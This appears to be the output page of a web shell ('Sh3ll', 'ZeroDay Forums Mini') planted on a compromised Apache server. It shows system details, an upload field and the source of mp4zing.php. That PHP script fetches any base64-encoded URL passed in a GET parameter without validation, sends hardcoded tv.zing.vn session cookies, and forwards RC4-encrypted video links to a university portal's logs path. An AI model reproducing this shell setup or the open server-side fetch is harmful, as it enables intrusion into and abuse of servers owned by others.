404 Not Found

Sh3ll

Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory : /var/www/html/st2/logs/curl/

Upload File :

Current File : /var/www/html/st2/logs/curl/mp4zing.php

<?php
/*if(trim($_SERVER['REMOTE_ADDR'])!='212.237.5.228'){
    die();
    exit();
}*/
function str_encode($data,$pwd)
{
    $x = 0;
    $a = 0;
    $j = 0;
    $Zcrypt = '';
    $pwd_length = strlen($pwd);
    for ($i = 0; $i < 255; $i++) {
        $key[$i] = ord(substr($pwd, ($i % $pwd_length)+1, 1));
        $counter[$i] = $i;
    }
    for ($i = 0; $i < 255; $i++) {
        $x = ($x + $counter[$i] + $key[$i]) % 256;
        $temp_swap = $counter[$i];
        $counter[$i] = $counter[$x];
        $counter[$x] = $temp_swap;
    }
    for ($i = 0; $i < strlen($data); $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $counter[$a]) % 256;
        $temp = $counter[$a];
        $counter[$a] = $counter[$j];
        $counter[$j] = $temp;
        $k = $counter[(($counter[$a] + $counter[$j]) % 256)];
        $Zcipher = ord(substr($data, $i, 1)) ^ $k;
        $Zcrypt .= chr($Zcipher);
    }
    return $Zcrypt;
}
require 'src/Curl/ArrayUtil.php';
require 'src/Curl/CaseInsensitiveArray.php';
require 'src/Curl/Curl.php';
require 'src/Curl/Decoder.php';
require 'src/Curl/MultiCurl.php';
use \Curl\Curl;

// curl --request GET "https://httpbin.org/get?key=value"
$url = base64_decode(trim($_GET['url']));
$curl = new Curl();
$headers = array(
    'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding:gzip',
    'Accept-Language:en-US,en;q=0.8',
    'Cache-Control:max-age=0',
    'Connection:keep-alive',
    'Cookie:TV_COOKIE=59506cd6cb6fd; _znu=1; fuid=43dce90f57c64a07ea4e9d0a34fc088a; __utmt_tv=1; GED_PLAYLIST_ACTIVITY=W3sidSI6IlVTT1giLCJ0c2wiOjE0OTg0NDI5MzcsIm52IjoxLCJ1cHQiOjE0OTg0NDI4NTQsImx0IjoxNDk4NDQyOTM3fV0.; __utma=1.30269616.1498442833.1498442833.1498442833.1; __utmb=1.1.10.1498442833; __utmc=1; __utmz=1.1498442833.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.30269616.1498442833; _gid=GA1.2.84242335.1498442833; _gat=1; atmpv=3; __zi=2000.289a873873369b68c227.1498442967337.908bd535; adtimaUserId=2000.289a873873369b68c227.1498442967337.908bd535',
    'Host:tv.zing.vn',
    'Referer:http://tv.zing.vn/',
    'Upgrade-Insecure-Requests:0',
    'User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
);
$curl->setOpt(CURLOPT_HTTPHEADER , $headers);
$curl->setOpt(CURLOPT_REFERER , 'http://tv.zing.vn/');
$curl->setOpt(CURLOPT_COOKIEFILE , 'cookie_zingtv.txt');
$curl->setOpt(CURLOPT_COOKIEJAR , 'cookie_zingtv.txt');
$curl->setOpt(CURLOPT_RETURNTRANSFER , true);
$curl->setOpt(CURLOPT_ENCODING , "gzip");
$curl->setOpt(CURLOPT_FOLLOWLOCATION , true);
$curl->get($url);


$content = $curl->response;
$curl->close();


preg_match_all('#source\: \"(.*?)\"\,#is', $content, $match);



$p360 = $match[1][count($match[1])-2];

if($match[1][count($match[1])-1]!=''){
    $p360 = $match[1][count($match[1])-1];
}

$arr_h = get_headers('http:'.str_replace('http:','',$p360),1);
$mp4 = $arr_h['Location'];


//$p480 = 'https://www.123vid.net/mp4/' . base64_encode(trim($mp4)) . '.mp4';
if($mp4!='') {
    $mp4_encode = 'http://portal.uka.edu.vn/logs/mp4.php?link='.bin2hex(str_encode($mp4, '123Vid@Net'));
}else{
    $mp4_encode = 'http://portal.uka.edu.vn/logs/mp4.php?link='.bin2hex(str_encode($p360, '123Vid@Net'));
}
exit($mp4_encode);


?>

ZeroDay Forums Mini